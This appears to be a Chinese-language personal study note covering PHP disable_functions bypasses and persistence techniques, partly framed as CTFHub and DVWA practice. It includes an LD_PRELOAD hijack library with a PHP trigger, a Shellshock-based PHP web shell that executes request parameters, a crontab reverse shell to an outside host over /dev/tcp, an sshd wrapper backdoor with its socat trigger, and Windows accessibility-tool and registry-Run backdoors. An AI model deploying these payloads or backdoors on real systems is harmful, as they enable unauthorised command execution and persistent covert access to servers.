disable_function&持久化介绍
disable_function限制绕过
disable_function介绍
disable_function禁用函数列表,通常用来禁用一些危险函数。例如服务器上配置的PHP禁用函数列表
绕过方法
LD_PRELOAD 绕过
介绍
LD_PRELOAD是一个UNIX动态链接库的一个环境变量,他可以在程序运行前允许用户定义优先加载的动态链接库,最主要的是,它允许用户载入不同的动态链接库的相同函数。php大部分函数都是调用系统命令来完成的,所以知道了这个环境变量运行用户定义加载动态链接库之后,就可以自己建一个动态链接库进行劫持。大部分都是利用mail()和error_log()函数进行劫持
绕过实测
蚁剑插件
利用CTFHUB上正好有一个对应的练习模块,首先给予shell,链接进去没有权限使用命令,已经被限制了。
这里蚁剑有一个模块,可以直接自动注入。
通过链接这个shell,就可以绕过限制
手动注入
基于刚开始对LD_PRELOAD的介绍,手动注入需要自己创建一个动态链接库利用C来进行转换。创建一个C文件,用GCC转为SO库文件。还是利用刚刚的题目,刚刚蚁剑注入的时候,蚁剑清楚了flag路径,把他通过管道传到我们能打开的地方就可以了。system可以替换成其他系统命令。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/wx.txt");
}
将so文件传入tmp文件夹(有读写权限),创建一个shell.php,利用存在的一个包含来调用这一个恶意库文件,这个是利用了PHP的mail函数来调用sendmail命令绕过禁用限制的。
<?Php
putenv("LD_PRELOAD=/tmp/hi.so");
mail("", "", "", "");
error_log("",1,"","");
?>
寻找未禁用函数
PHP函数量较多,其实当自己想使用的函数被禁用的时候,可以尝试一些未禁用函数进行绕过。不过大多数的可以用于执行命令的例如shell_exec,system函数都大概率被禁用,不被禁用的函数可能多数都是一些读目录读内容的函数。
例如在自己服务器上是禁用了大部分命令执行函数,但是一些读目录的函数,例如opendir没有被禁用,还是能找到为禁用函数进行绕过。
Uaf脚本绕过
Uaf脚本绕过分三种,但这种绕过方式,我属实没看懂利用的原理。
Json Serializer UAF
出现版本
7.1
7.2 < 7.2.19
7.3 < 7.3.6
原理:漏洞利用json在序列化中的堆溢出触发bypass
GC UAF
出现版本
7.0
7.1
7.2
7.3
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass
稍微的看了一下php garbage collector 这个工作原理就是扫描已有的Session信息,如果超过了session.gc_maxlifetime设定值,将会将其删除。
特别说明了php garbage collector不会区分不同站点的Session信息,按照默认规则每100个请求就会启动一个GC,如果数量过多,启用多个可能就会造成内存溢出导致内存溢出。
Backtrace UAF
出现版本
7.0
7.1
7.2
7.3 < 7.3.15
7.4 < 7.4.3
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,
使用php类绕过
当函数被禁用时,可以考虑使用PHP类来绕过被禁用的函数,但是类依然可以通过disable_classes进行禁用
ShellShock(CVE-2014-6271)
介绍
又称Bashdoor,是Unix在Bash shell的漏洞,在很多守护进程中使用Bash来处理一些命令,从而让攻击者在Bash<=4.1的版本执行任意的代码。PHP中的利用就是向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,可利用此漏洞改变或绕过环境限制。mail函数的第五个参数会被交给popen()执行, 如果系统默认sh是bash,popen()会派生bash进程,进而可利用破壳漏洞执行命令。
利用
在复现的时候要将/bin/sh指向到bash,而且当输出Vulnerable时就有可利用的空间。
可在存在漏洞的网站上传,来绕过限制,使用命令执行。实际上还是利用mail的函数。
<?php
function` `shellshock(``$cmd``) { ``
$tmp` `= tempnam(``"."``,``"data"``);
putenv(``"PHP_LOL=() { x; }; $cmd >$tmp 2>&1"``);
mail(``"a@127.0.0.1"``,``""``,``""``,``""``,``"-bv"``); ``
$output` `= @``file_get_contents``(``$tmp``);
@unlink(``$tmp``);
if``(``$output` `!= ``""``) ``return` `$output``;
else` `return` `"No output, or not vuln."``;
}
echo` `shellshock(``$_REQUEST``[``"cmd"``]);
?>
Apache Mod CGI
介绍
CGI web服务器的扩展服务器功能,利用CGI编写的程序可以在服务器上运行
MOD_CGI:任何具有MIME类型application/x-httpd-cgi
或者被cgi-script
处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType
指令定义的扩展名,另一种是文件位于ScriptAlias
目录中。
当服务器调用一个CGI脚本时会往运行环境中添加一个叫做DOCUMENT_ROOT
的变量。这个变量将包含DocumentRoot
指令的值。
(官方说明)
利用
上传写好的cgi文件和htaccess文件。
由于环境问题,cgi支持没有开启,这边没办法复现,根据网络上的复现流程,基本都是htaccess定义文件使用cgi读取,再利用CGI来执行系统命令,绕过。
sqlmap -os-shell实现过程
介绍
Sqlmap是开源的自动化SQL注入工具,利用python语言写的。os shell是sqlmap中使用sqlmap注入并执行命令的功能函数。
实现过程
以dvwa的sql注入为例子,先尝试使用sqlmap直接注入查看。需要注意的点就是,dvwa的难度选择和登录都是有cookie的,所以记得将cookie注入。
发现是存在注入问题的,尝试一下os shell模块,使用os shell过程中 需要提供绝对路径,一般来说phpinfo可能会存在。
持久化方式win/linux
Linux
定时任务(Crontab)
与windows定时任务的原理一致,不过windows是直接回弹后门程序,linux可以直接回弹shell 但是定时任务被发现的可能很大,执行了之后就可以使用nc进行监听端口会回弹shell,不过这个默认是60分钟一次,回弹的话可以适当设置小一点。
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
ssh软连接
利用软连接将ssh再映射出来,不过默认都是映射su,如果需要映射其他用户,需要将su改成所需映射的端口,在大部分的linux中,是不允许root直接登录的。
前提还是需要打开端口。
ssh公钥免密
其实这个更加倾向于是利用运维的误配置来利用的漏洞,实际原理就是将自己配置的ssh key传上去用来免密,但是大部分情况,这一类权限锁的比较死,一旦有这么高的权限,反而不需要再度提权了。
wrapper
原理
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是13377就执行sh给个shell。
其实我的理解就是,执行语句就改了sshd的脚本之后,启动会匹配失败,然后运行我们设置的sshd脚本,开进程识别,如果是13377端口访问就给予shell
利用
靶机使用:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd //这个4A对应的是13377小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
//或者 service sshd restart
攻击机使用:
socat STDIO TCP4:target_ip:22,sourceport=13377
不知道为什么我的机器总是修改后没办法重启sshd,直接使用csdn上的复现截图,同时附上我复现的报错
Win
辅助功能后门
C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\osk.exe 屏幕键盘
C:\Windows\System32\Magnify.exe 放大镜 快捷键:Windows+加减号
这些都可以替换成CMD,然后在权限丢失的时候,尝试使用快捷键启用,例如我在之前windows 2008中做的辅助工具快捷键。
注册表自启动项
启动项键值分为两种:
Run:开机自启动项,类似于自启动应用
RunOnce:类似Run,唯一区别就是,这是一个一次性的,执行一次之后就删除(对于持久化来说,不适用)
常见的键值路径:
用户:
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
系统:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
这种可以替换成后门,不过这种需要把东西存储起来,同时可疑的自启动可能会被报毒。
定时任务
定时任务顾名思义,就是定时执行某种程序或者动作,比如定时开关机等。那么可以利用定时任务
例如这样的情况,我可以用来分用户启动时都启动一次我的后门,达到权限维持的目的
Bootkit
MBR后门主要的思路是读取主引导记录和把分区表从主引导记录中复制出来。然后把自己的包含恶意二进制数据的主引导记录放到主引导扇区,并复制新的分区表到它。但是,并非只有分区表需要保留,还有原来的主引导记录也需要保存下来,MBR病毒复制原始主引导记录到其它64个未用到的扇区。到MBR病毒执行完自己的操作后在读取原始的主引导记录并跳到0x7c00处执行来引导开机。目前比较流行的比如暗云木马系列。由于我不会这一个复现,大概知道什么原理。只能借用别人的解释了。
有任何意见请评价。